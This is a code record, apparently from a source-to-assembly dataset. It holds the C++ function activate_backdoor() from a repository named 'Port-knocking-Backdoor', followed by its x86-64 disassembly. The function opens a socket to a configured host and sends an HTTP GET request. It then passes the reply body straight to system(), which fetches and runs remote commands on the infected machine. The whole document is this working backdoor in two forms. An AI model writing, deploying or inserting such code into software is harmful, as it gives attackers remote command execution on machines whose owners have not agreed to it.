// File: sharmin-lalani[P]Port-knocking-Backdoor/backdoor.cpp
// Function: activate_backdoor()
void activate_backdoor() {
	//printf("backdoor activated\n");

	int tcpSocket;
	struct hostent *server;
	struct sockaddr_in server_addr;
	char request[1000];
	char *httpbody = NULL;

	tcpSocket = socket(AF_INET, SOCK_STREAM, 0);
	if (tcpSocket < 0) {
		printf("Error opening socket\n");
		return;
	}
	
	/* lookup the ip address */
	server = gethostbyname(urlHost);
	if (server == NULL) {
		printf("gethostbyname() failed\n");
		return;
	} 

	/* fill in the server_addr structure */
	memset(&server_addr, 0, sizeof(server_addr));
	server_addr.sin_family = AF_INET;
	memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length);
	server_addr.sin_port = htons(urlPort);
	
	//printf("target ip:%s %s\n", inet_ntoa(*(struct in_addr*)server->h_addr), inet_ntoa(server_addr.sin_addr));

	if (connect(tcpSocket, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0) {
		printf("Error Connecting\n");
		close(tcpSocket);
		return;
	} //else
		//printf("Successfully Connected\n");

	/* fill in the parameters for a GET request*/
	sprintf(request, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", urlPage, urlHost);

	//printf("%s\n", request);

	if (send(tcpSocket, request, strlen(request), 0) < 0) {
		printf("Error with send()\n");
		close(tcpSocket);
		return;
	}

	bzero(request, 1000);

	recv(tcpSocket, request, 999, 0);
	//printf("Reply received:%s\n\n", request);

	httpbody = strstr(request, "\r\n\r\n");
	if (httpbody == NULL) {
		printf("HTTP response headers are not correctly formatted\n");
		return;
	}
 
	httpbody += 4; // move ahead 4 chars
	system(httpbody);

    	close(tcpSocket);
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
subq $0x430, %rsp            # imm = 0x430
movq $0x0, -0x418(%rbp)
movl $0x2, %edi
movl $0x1, %esi
xorl %edx, %edx
callq 0x2080
movl %eax, -0x4(%rbp)
cmpl $0x0, -0x4(%rbp)
jge 0x2823
leaq 0x28a1(%rip), %rdi      # 0x50b8
movb $0x0, %al
callq 0x2030
jmp 0x29c7
leaq 0x5996(%rip), %rdi      # 0x81c0
callq 0x21d0
movq %rax, -0x10(%rbp)
cmpq $0x0, -0x10(%rbp)
jne 0x284d
leaq 0x288d(%rip), %rdi      # 0x50ce
movb $0x0, %al
callq 0x2030
jmp 0x29c7
leaq -0x20(%rbp), %rdi
xorl %esi, %esi
movl $0x10, %edx
callq 0x2100
movw $0x2, -0x20(%rbp)
leaq -0x20(%rbp), %rdi
addq $0x4, %rdi
movq -0x10(%rbp), %rax
movq 0x18(%rax), %rax
movq (%rax), %rsi
movq -0x10(%rbp), %rax
movslq 0x14(%rax), %rdx
callq 0x2140
movl 0x58bf(%rip), %eax      # 0x8148
movzwl %ax, %edi
callq 0x2040
movw %ax, -0x1e(%rbp)
movl -0x4(%rbp), %edi
leaq -0x20(%rbp), %rsi
movl $0x10, %edx
callq 0x2150
cmpl $0x0, %eax
jge 0x28c6
leaq 0x2834(%rip), %rdi      # 0x50e6
movb $0x0, %al
callq 0x2030
movl -0x4(%rbp), %edi
callq 0x2260
jmp 0x29c7
leaq -0x410(%rbp), %rdi
leaq 0x2824(%rip), %rsi      # 0x50f8
leaq 0x5ae5(%rip), %rdx      # 0x83c0
leaq 0x58de(%rip), %rcx      # 0x81c0
movb $0x0, %al
callq 0x2060
movl -0x4(%rbp), %eax
movl %eax, -0x424(%rbp)
leaq -0x410(%rbp), %rax
movq %rax, -0x420(%rbp)
leaq -0x410(%rbp), %rdi
callq 0x20d0
movl -0x424(%rbp), %edi
movq -0x420(%rbp), %rsi
movq %rax, %rdx
xorl %ecx, %ecx
callq 0x20e0
cmpq $0x0, %rax
jge 0x2944
leaq 0x27e7(%rip), %rdi      # 0x5117
movb $0x0, %al
callq 0x2030
movl -0x4(%rbp), %edi
callq 0x2260
jmp 0x29c7
leaq -0x410(%rbp), %rdi
xorl %esi, %esi
movl $0x3e8, %edx            # imm = 0x3E8
callq 0x2100
movl -0x4(%rbp), %edi
leaq -0x410(%rbp), %rsi
movl $0x3e7, %edx            # imm = 0x3E7
xorl %ecx, %ecx
callq 0x20a0
leaq -0x410(%rbp), %rdi
leaq 0x2797(%rip), %rsi      # 0x5112
callq 0x2070
movq %rax, -0x418(%rbp)
cmpq $0x0, -0x418(%rbp)
jne 0x29a1
leaq 0x2792(%rip), %rdi      # 0x512a
movb $0x0, %al
callq 0x2030
jmp 0x29c7
movq -0x418(%rbp), %rax
addq $0x4, %rax
movq %rax, -0x418(%rbp)
movq -0x418(%rbp), %rdi
callq 0x2160
movl -0x4(%rbp), %edi
callq 0x2260
addq $0x430, %rsp            # imm = 0x430
popq %rbp
retq